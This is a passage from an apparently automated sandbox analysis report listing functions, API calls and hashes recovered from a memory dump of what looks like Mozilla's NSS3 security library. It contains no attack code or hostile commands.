Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CE7BE03

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE7BE3B

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 94b7e28fe182666f65c4d7516f862966934017b81be323b78141b54c36875dc6
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 66012BA5E4060567F62022A66C01F9B3668CF5129DF340034FE049AB82FB55E11AC2B6

Function 6CED0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016

Part of subcall function 6CF398D0: calloc.MOZGLUE(00000001,00000084,6CE60936,00000001,?,6CE6102C), ref: 6CF398E5

PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B
TlsGetValue.KERNEL32(00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1044
free.MOZGLUE(00000000,?,00000800,6CE6EF74,00000000), ref: 6CED1064

Strings

security, xrefs: 6CED1025

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 29f3f110fd939e93953b7640f16aa773df2a877309988aa112ee91462a5f143f
Instruction ID: 7e1f11d4f6d95e55d4ac0dddec5e71244261370809520d1b5182eb2a11f1c157
Opcode Fuzzy Hash: 29f3f110fd939e93953b7640f16aa773df2a877309988aa112ee91462a5f143f
Instruction Fuzzy Hash: 74014830F502909BE7603FBD8C08B567A78BF43768F220119E80897A51EB61F207DBD1

Function 6CF01C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF01C74

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CF01C92
free.MOZGLUE(?), ref: 6CF01C99
DeleteCriticalSection.KERNEL32(?), ref: 6CF01CCB
free.MOZGLUE(?), ref: 6CF01CD2

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 57c2324134b3d725a84d1198942b147ad579381078c12f59d47e8ae5fd36f228
Instruction ID: bec50a7a9f4958a5810243562fea67fd2be471e9d406bfa9dc8c4374b764e05b
Opcode Fuzzy Hash: 57c2324134b3d725a84d1198942b147ad579381078c12f59d47e8ae5fd36f228
Instruction Fuzzy Hash: 110196B1F152215FDF64AFB49C0D78A77B4A70671CF104525E50AA3A40D726F50497D2

Function 6CF12E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF13046

Part of subcall function 6CEFEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEFEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CEE7FFB), ref: 6CF1312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF13154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF12E8B

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

Part of subcall function 6CEFF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CEE9BFF,?,00000000,00000000), ref: 6CEFF134

memcpy.VCRUNTIME140(8B3C75C0,?,6CEE7FFA), ref: 6CF12EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF1317B

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 253b75c6a76b557d6a4cb9eafc8d4d50a4064d0a9b9cbf7f08dfaf56515d289e
Instruction ID: 76e622ed71e3eba523c6d5829a7ea5b7e8a378c5ea7d7118fd8623632946446c
Opcode Fuzzy Hash: 253b75c6a76b557d6a4cb9eafc8d4d50a4064d0a9b9cbf7f08dfaf56515d289e
Instruction Fuzzy Hash: 76A1BF75A042189FDB24CF54CC80BEAB7B5EF49308F148199ED4967B41E731AE89CF91

Function 6CEDED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CEDED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CEDEDCE

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

free.MOZGLUE(00000000,?,?,?,?,6CEDB04F), ref: 6CEDEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEDEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CEDEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CEDEEFB

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 043c36da8d79e58b9a898e3dbc50ea57fdb77205a0fbb16d9412ddffc6cd7017
Instruction ID: 25069814d4ac81cae77d262784057bf5551f5106be7a70c98f7d5e9ef81bac81
Opcode Fuzzy Hash: 043c36da8d79e58b9a898e3dbc50ea57fdb77205a0fbb16d9412ddffc6cd7017
Instruction Fuzzy Hash: C1819EB1A006059FEB14CF55C889BABB7F5BF49308F25442CE8159B751DB31F806CBA1

Function 6CEDCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEDC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEDDAE2,?), ref: 6CEDC6C2

PR_Now.NSS3 ref: 6CEDCD35

Part of subcall function 6CF39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DC6
Part of subcall function 6CF39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DD1
Part of subcall function 6CF39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF39DED

Part of subcall function 6CEC6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE71C6F,00000000,00000004,?,?), ref: 6CEC6C3F

PR_GetCurrentThread.NSS3 ref: 6CEDCD54

Part of subcall function 6CF39BF0: TlsGetValue.KERNEL32(?,?,?,6CF80A75), ref: 6CF39C07

Part of subcall function 6CEC7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE71CCC,00000000,00000000,?,?), ref: 6CEC729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEDCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CEDCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CEDCE2C

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CEDCE40

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

Part of subcall function 6CEDCEE0: PORT_ArenaMark_Util.NSS3(?,6CEDCD93,?), ref: 6CEDCEEE
Part of subcall function 6CEDCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEDCD93,?), ref: 6CEDCEFC
Part of subcall function 6CEDCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEDCD93,?), ref: 6CEDCF0B
Part of subcall function 6CEDCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEDCD93,?), ref: 6CEDCF1D

Part of subcall function 6CEDCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF47
Part of subcall function 6CEDCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF67
Part of subcall function 6CEDCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CEDCD93,?,?,?,?,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF78

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 94342a4e3804c859adcfd39996bead58b708215cd3ca1e31dcf73320919d937f
Instruction ID: d122bdac48216ad69d42c0f422b9d0335d122b1b8512e6363571eda22efc162c
Opcode Fuzzy Hash: 94342a4e3804c859adcfd39996bead58b708215cd3ca1e31dcf73320919d937f
Instruction Fuzzy Hash: 7E51A1B6B001119BEB10DF69DD40BAA73F5AF48398F360528DD599B740EB31F906CB91

Function 6CEEFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CEEFFE5

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_EnterMonitor.NSS3(?), ref: 6CEF0004
PR_EnterMonitor.NSS3(?), ref: 6CEF001B

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: a21b4979e5af0536ca7d3e4d508ae51edcfb723f40f14ff6846f1dee297095e1
Instruction ID: 3a04d0f025e0cf3a6464460b9ba733a7a55bde99c650e7cfe60c5f9bb5bc426b
Opcode Fuzzy Hash: a21b4979e5af0536ca7d3e4d508ae51edcfb723f40f14ff6846f1dee297095e1
Instruction Fuzzy Hash: AC4126B66446809BE7208B28DC517AB73B1DB4230CF70093DD46BCAF91E7B9E54BC642

Function 6CEAEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CEAEF38

Part of subcall function 6CE99520: PK11_IsLoggedIn.NSS3(00000000,?,6CEC379E,?,00000001,?), ref: 6CE99542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CEAEF53

Part of subcall function 6CEB4C20: TlsGetValue.KERNEL32 ref: 6CEB4C4C
Part of subcall function 6CEB4C20: EnterCriticalSection.KERNEL32(?), ref: 6CEB4C60
Part of subcall function 6CEB4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CA1
Part of subcall function 6CEB4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CBE
Part of subcall function 6CEB4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CD2
Part of subcall function 6CEB4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4D3A

PR_GetCurrentThread.NSS3 ref: 6CEAEF9E

Part of subcall function 6CF39BF0: TlsGetValue.KERNEL32(?,?,?,6CF80A75), ref: 6CF39C07

free.MOZGLUE(00000000), ref: 6CEAEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEAF016
free.MOZGLUE(00000000), ref: 6CEAF022

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 558912e6d8638a9ff4c730b2b44b248e43d5df62c33d94d178702f0b13d31252
Instruction ID: 6350b9a101a1a7d74efda79ba376e1bd1cff796dc321aa82bbc6f1254a9717ef
Opcode Fuzzy Hash: 558912e6d8638a9ff4c730b2b44b248e43d5df62c33d94d178702f0b13d31252
Instruction Fuzzy Hash: 85416271E00109AFDF018FE9DC85BEE7AB5AB48358F144029F914AB350E77599168BA1

Function 6CE9CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CE9CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CE9D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CE9D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9D025
PR_NewLock.NSS3 ref: 6CE9D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE9D074

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: b03dc1c2d53905850823f19e4a0b25d41aff4bddeae2315bb3d2a7448d44e58e
Instruction ID: e5cee22236e6597c83d820f0d33384ffb6902bac3ddde94179921329806c71ff
Opcode Fuzzy Hash: b03dc1c2d53905850823f19e4a0b25d41aff4bddeae2315bb3d2a7448d44e58e
Instruction Fuzzy Hash: 96419DB4A012218FEB109F29C88179ABBF5EF08318F20416ADC198BB46D774D985CBA1

Function 6CEE3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEE3FF2

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CEE4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CEE400F

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CEE4054

Part of subcall function 6CE7BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CE7BC24
Part of subcall function 6CE7BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE7BC39
Part of subcall function 6CE7BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CE7BC58
Part of subcall function 6CE7BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CE7BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CEE40CD

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 0a03edee203bb9cdfbe66d4642bc838253b66524f8bcb4cf28f0873002949efd
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 7731C971E0034197EB009FE49C41BBA3374AF9975CF254239ED099B742FB62E9558292

Function 6CE82E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CE72D1A), ref: 6CE82E7E

Part of subcall function 6CED07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE78298,?,?,?,6CE6FCE5,?), ref: 6CED07BF
Part of subcall function 6CED07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CED07E6
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED081B
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED0825

PR_Now.NSS3 ref: 6CE82EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CE82EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CE72D1A), ref: 6CE82F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CE72D1A), ref: 6CE82F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CE82F81

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 0c54cd5ff8672ddc69b1d3f5622b236bf9da396f953049db963cd4cedb74a8ac
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 1831F5719031008BF720C665DC4EBAE7275EFA131CF744579D42DA7AD0EB359886C622

Function 6CE70E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CE70A2C), ref: 6CE70E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CE70A2C), ref: 6CE70E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CE70A2C), ref: 6CE70E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CE70A2C), ref: 6CE70E90
free.MOZGLUE(00000000), ref: 6CE70EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CE70A2C), ref: 6CE70ED9

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
